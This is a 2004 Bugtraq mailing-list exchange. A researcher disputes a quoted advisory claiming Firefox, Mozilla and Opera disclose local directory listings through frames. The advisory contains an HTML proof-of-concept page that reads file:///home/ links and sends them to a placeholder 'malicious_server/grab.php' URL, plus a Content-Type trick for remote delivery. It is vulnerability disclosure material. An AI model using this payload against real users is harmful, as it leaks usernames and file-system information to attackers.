This is not a vulnerability, it is expected behavior. Mozilla shares the same zone design as IE which means that a file from the local file zone can read any other file from the local file zone. You cannot use this approach to read a local file from another zone such as the Internet zone. From the Internet zone, you can also only read the content of files from the same zone, same protocol and same domain. I agree that Mozilla has implemented quite a lot of proprietary IE extensions which it should have not done, however reading the innerHTML of an element through document.all does not circumvent the traditional zone security checks already in place. If you can find a cross zone scripting vulnerability in Mozilla this becomes relevant, however in that case you would be better off jumping into a chrome:// document from which you can execute arbitrary commands. Regards Thor Larholm Senior Security Researcher PivX Solutions 23 Corporate Plaza #280 Newport Beach, CA 92660 http://www.pivx.com thor@xxxxxxxx Stock symbol: (PIVX.OB) Phone: +1 (949) 231-8496 PGP: 0x4207AEE9 B5AB D1A4 D4FD 5731 89D6 20CD 5BDB 3D99 4207 AEE9 PivX defines a new genre in Desktop Security: Proactive Threat Mitigation. <http://www.pivx.com/qwikfix> -----Original Message----- From: Giovanni Delvecchio [mailto:badpenguin79@xxxxxxxxxxx] Sent: Wednesday, December 01, 2004 5:15 PM To: bugtraq@xxxxxxxxxxxxxxxxx Subject: Disclosure of file system information in Mozilla Firefox and Opera Browser: Title: Disclosure of file system information in Mozilla Firefox and Opera Browser Note: I don't know if it could be considered really a security problem, anyway i'll try to explain my ideas. Sorry for my bad english. Author: Giovanni Delvecchio Bug: Disclosure of file system information Applications affected: - Firefox 1.0 - Mozilla 1.7 - Opera 7.54 (*) ( maybe also previous versions ) Tested versions: - Firefox 1.0 on Linux and Windows - Mozilla 1.7 on Windows - Opera 7.51,..7.54 on Linux Note: The content of this advisory could be applied also to other browsers, i have checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer. Microsoft Internet Explorer seems not to be affected. Bug Description: ================ A problem exist in some browsers where a frame can gain access to attributes of another frame or iframe. An application of this bug could be the possibility to disclose local directory structure. PoC: === ------ begin code.htm ----- <html> <body onLoad=" list_files=''; for(i=0;i<local_files.document.links.length;i++) {list_files+=local_files.document.links.item(i);} alert(list_files); //send list_files at malicious_server document.location.href='http://malicious_server/grab.php?list='+list_fil es; "> <iframe name="local_files" src="file:///home/" height=0 width=0></iframe> </body> </html> ------ end of code.htm ------- Impact: ====== A malicious server could obtain the content of /home/ directory ( or c:\Document and Setting\ for windows system ) and so know a set of usernames present on system target. Moreover, colud be possible know if a particolar program is installed on target system for a succesive attack. Anyway it cannot be exploited "directly" by a remote site, but only if the page is opened from a local path ( file://localpath/code.htm), since the iframe "local_files" belongs to a local domain. Note: with Internet Explorer code.htm doesn't work even in local. Possible Remote Exploitation: ======================== Question: How could a malicious remote user exploit it ? Answer: After that the user "victim" has required http://maliciuos_server/code.htm, if malicious_server responds with a page containing an unknown Content-Type field ( for example text/html. ,note the dot) ,the browser will show a dialog window with some options (open, save, cancel). Choosing "Open" to view this page, it will be downloaded and opened in local ; javascript code will be executed in local context. Obviously, if user chooses to save and after open it the result is equal. (*) For Opera this method of remote exploitation requires that opera must be setted as Default Application in "handler for saved files" whether the user choose "Open" in the dialog window. Solution: ======== No solution at the moment Vendor notice ============== 24th November 2004: I have contacted mozilla by security@xxxxxxxxxxx and Opera by its bug track page at https://bugs.opera.com/wizard/ No response from both at the moment. Best regards, Giovanni Delvecchio _________________________________________________________________ Personalizza MSN Messenger con sfondi e fotografie! http://www.ilovemessenger.msn.it/
